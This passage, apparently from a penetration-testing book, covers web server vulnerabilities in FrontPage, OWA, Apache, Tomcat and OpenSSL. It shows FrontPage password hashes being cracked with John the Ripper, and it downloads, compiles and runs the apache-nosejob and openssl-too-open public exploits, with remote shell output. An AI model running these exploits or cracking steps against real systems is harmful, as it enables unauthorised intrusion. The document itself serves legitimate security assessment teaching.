The only NTLM mechanism brute-force tool I know of is a custom-written Nikto plug-in (nikto_ntlm.plugin), which is covered in Chapter 4 of Justin Clarke and Nitesh Dhanjani’s book Network Security Tools (O’Reilly).

Poor FrontPage file permissions enable an attacker to access PWD files, which contain 56-bit DES encrypted password hashes. When cracked, these give access to FrontPage administrative components and allow attackers to upload new material. These files are usually found at the following locations:

The information in these PWD files usually looks like this:

# -FrontPage-
ekendall:bYld1Sr73NLKo
louisa:5zm94d7cdDFiQ

The username is found on the left and the DES password hash is on the right. If we modify the file so it looks like a Unix /etc/shadow file, we can load it into John the Ripper (http://www.openwall.com/john) and crack it, as shown in Example 6-28.

$ cat fp-hashes.txt
ekendall:bYld1Sr73NLKo:::::::
louisa:5zm94d7cdDFiQ:::::::
$ john fp-hashes.txt
Loaded 2 passwords with 2 different salts (Standard DES [48/64 4K])
trumpet          (louisa)

The password for the louisa user account was found to be trumpet by using John the Ripper in its default configuration with a small dictionary file. The other password requires a larger dictionary file and more determined brute force to crack.

Outside of these two classes of brute-force password grinding issues, a number of other vulnerabilities exist in FrontPage components, as listed in Table 6-10.

A number of public exploit scripts exist for CVE-2003-0822 (fp30reg.dll overflow), and MSF also supports the vulnerability. CORE IMPACT and Immunity CANVAS also include this exploit module for Windows 2000 targets.

Upon identifying an IIS web server running Microsoft Exchange Server OWA, we can attack the components requiring authentication using a brute-force password grinding attack and perform cross-site scripting and redirection attacks to compromise user sessions. Remotely exploitable vulnerabilities in OWA components, as found in MITRE CVE, are listed in Table 6-11.

MSF, CORE IMPACT, and Immunity CANVAS exploitation frameworks have no support for these OWA issues at the time of this writing. Most issues are cross-site scripting and user redirection bugs, allowing attackers to compromise session ID values and access OWA, but requiring a degree of manual crafting and preparation to undertake.

Apache HTTP Server has a number of known remotely exploitable issues, primarily relating to information leak, cross-site scripting, and CGI script issues. Table 6-12 lists known issues and their CVE references, including three bugs that can result in arbitrary code execution.

MSF, CORE IMPACT, and Immunity CANVAS support CVE-2002-0392 (Apache 1.3.24 chunked encoding exploit), for Windows targets at the time of this writing. Exploitation frameworks do not support any of the other issues listed in Table 6-12, but the milw0rm site (http://www.milw0rm.com) has a number of useful Apache exploits, including some DoS attack scripts.

A standalone BSD exploit is available for CVE-2002-0392, as demonstrated in the following section.

$ wget http://packetstormsecurity.org/0206-exploits/apache-nosejob.c
$ cc -o apache-nosejob apache-nosejob.c
$ ./apache-nosejob
GOBBLES Security Labs                           - apache-nosejob.c

Usage: ./apache-nosejob <-switches> -h host[:80]
  -h host[:port]        Host to penetrate
  -t #                  Target id.
  Bruteforcing options (all required, unless -o is used!):
  -o char               Default values for the following OSes
                        (f)reebsd, (o)penbsd, (n)etbsd
  -b 0x12345678         Base address used for bruteforce
                        Try 0x80000/obsd, 0x80a0000/fbsd.
  -d -nnn               memcpy(  ) delta between s1 and addr
                        Try −146/obsd, −150/fbsd, −90/nbsd.
  -z #                  Numbers of time to repeat  in the buffer
                        Try 36 for openbsd/freebsd and 42 for netbsd
  -r #                  Number of times to repeat retadd
                        Try 6 for openbsd/freebsd and 5 for netbsd
  Optional stuff:
  -w #                  Maximum number of seconds to wait for reply
  -c cmdz               Commands to execute when shellcode replies
                        aka auto0wncmdz

Examples will be published in upcoming apache-scalp-HOWTO.pdf

--- --- - Potential targets list - --- ---- ------- ------------
 ID / Return addr / Target specification
  0 /  0x080f3a00 / FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)
  1 /  0x080a7975 / FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)
  2 /  0x000cfa00 / OpenBSD 3.0 x86 / Apache 1.3.20
  3 /  0x0008f0aa / OpenBSD 3.0 x86 / Apache 1.3.22
  4 /  0x00090600 / OpenBSD 3.0 x86 / Apache 1.3.24
  5 /  0x00098a00 / OpenBSD 3.0 x86 / Apache 1.3.24 #2
  6 /  0x0008f2a6 / OpenBSD 3.1 x86 / Apache 1.3.20
  7 /  0x00090600 / OpenBSD 3.1 x86 / Apache 1.3.23
  8 /  0x0009011a / OpenBSD 3.1 x86 / Apache 1.3.24
  9 /  0x000932ae / OpenBSD 3.1 x86 / Apache 1.3.24 #2
 10 /  0x001d7a00 / OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1
 11 /  0x080eda00 / NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)
 12 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)
 13 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)
 14 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)
 15 /  0x080efa00 / NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)

$ ./apache-nosejob -h 192.168.0.31 -oo
[*] Resolving target host.. 192.168.0.31
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
[*] Currently using retaddr 0x9a200
[*] Currently using retaddr 0xb2e00
uid=32767(nobody) gid=32767(nobody) group=32767(nobody)

Apache is an extensible web server with modular support akin to Microsoft IIS ISAPI extensions and subsystems. Numerous Apache modules have significant remotely exploitable weaknesses, as disclosed over recent years. These are listed in Table 6-13.

Of the issues in Table 6-13, CORE IMPACT, Immunity CANVAS (using the Argeniss ultimate 0day exploits pack), and MSF support CVE-2007-0774 (mod_jk 1.2.20 stack overflow). The issue affects both the Tomcat web server and the Apache mod_jk module.

Milw0rm has a number of other Apache module exploits, available from http://www.milw0rm.com/exploits/<exploit id>, as listed in Table 6-14.

The Apache Tomcat JSP container has a number of remotely exploitable issues, as listed in Table 6-15.

Most of these issues are cross-site scripting, relating to Tomcat serving back verbose error messages and details when JSP scripts are called. Source code disclosure issues result in JSP scripts and other files being read through Tomcat.

At the time of this writing, the MITRE CVE list details some serious vulnerabilities in OpenSSL (not including DoS or locally exploitable issues), as shown in Table 6-16.

In terms of commercial exploitation frameworks, CORE IMPACT supports both CVE-2003-0545 (OpenSSL 0.9.7d double-free bug) and CVE-2002-0656 (OpenSSL 0.9.7-b2 and 0.9.6d client master key overflow). Immunity CANVAS only supports CVE-2002-0656 at this time. There is no publicly available exploit for CVE-2003-0545 at the time of this writing, but details of reliable CVE-2002-0656 exploits follow.

Two public exploit tools are available for CVE-2002-0656, as follows:

Example 6-31 and Example 6-32 show the openssl-too-open toolkit compromising a vulnerable Red Hat Linux 7.2 server. First, download and build the tool in a Linux environment, as shown in Example 6-31.

$ wget packetstormsecurity.org/0209-exploits/openssl-too-open.tar.gz
$ tar xvfz openssl-too-open.tar.gz
openssl-too-open/
openssl-too-open/Makefile
openssl-too-open/main.h
openssl-too-open/ssl2.c
openssl-too-open/ssl2.h
openssl-too-open/main.c
openssl-too-open/linux-x86.c
openssl-too-open/README
openssl-too-open/scanner.c
$ cd openssl-too-open
$ make
gcc -g -O0 -Wall -c main.c
gcc -g -O0 -Wall -c ssl2.c
gcc -g -O0 -Wall -c linux-x86.c
gcc -g -O0 -Wall -c scanner.c
gcc -g -lcrypto -o openssl-too-open main.o ssl2.o linux-x86.o
gcc -g -lcrypto -o openssl-scanner scanner.o ssl2.o
$ ./openssl-too-open
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <[email protected]>

Usage: ./openssl-too-open [options] <host>
  -a <arch>  target architecture (default is 0x00)
  -p <port>  SSL port (default is 443)
  -c <N>     open N connections before sending the shellcode
  -m <N>     maximum number of open connections (default is 50)
  -v         verbose mode

Supported architectures:
        0x00 - Gentoo (apache-1.3.24-r2)
        0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
        0x02 - Slackware 7.0 (apache-1.3.26)
        0x03 - Slackware 8.1-stable (apache-1.3.26)
        0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
        0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
        0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
        0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
        0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
        0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
        0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
        0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
        0x0c - SuSE Linux 7.0 (apache-1.3.12)
        0x0d - SuSE Linux 7.1 (apache-1.3.17)
        0x0e - SuSE Linux 7.2 (apache-1.3.19)
        0x0f - SuSE Linux 7.3 (apache-1.3.20)
        0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x11 - SuSE Linux 8.0 (apache-1.3.23)
        0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ./openssl-too-open -a 0x01 -v localhost
          ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80

At this point, the openssl-too-open exploit script is compiled and ready to be run. Solar Eclipse includes a second useful tool in this package, called openssl-scanner:

$ ./openssl-scanner
Usage: openssl-scanner [options] <host>
  -i <inputfile>     file with target hosts
  -o <outputfile>    output log
  -a                 append to output log (requires -o)
  -b                 check for big endian servers
  -C                 scan the entire class C network
  -d                 debug mode
  -w N               connection timeout in seconds

Examples: openssl-scanner -d 192.168.0.1
          openssl-scanner -i hosts -o my.log -w 5

The openssl-scanner utility checks SSL instances running on TCP port 443 for the SSLv2 large client key overflow vulnerability. Upon identifying a vulnerable server and obtaining the operating platform (Red Hat Linux, BSD-derived, or others), an attacker can use the openssl-too-open exploit to compromise the target host, as shown in Example 6-32.

$ ./openssl-too-open -a 0x09 192.168.0.25
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <[email protected]>

: Opening 30 connections
  Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
  ssl0 : 0x8154c70
  ssl1 : 0x8154c70
  ssl2 : 0x8154c70

: Sending shellcode
ciphers: 0x8154c70   start_addr: 0x8154bb0   SHELLCODE_OFS: 208
  Execution of stage1 shellcode succeeded, sending stage2
  Spawning shell...

bash: no job control in this shell
stty: standard input: Invalid argument
[apache@www /]$ uname -a
Linux www 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
[apache@www /]$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Because the attacker is exploiting a process that is being run by an unprivileged user in this example, the attacker must use local exploit tools and scripts to elevate his privileges. This is increasingly necessary as services use chroot to protect areas of the disk and underlying operating system in the event of an overflow or process manipulation attack.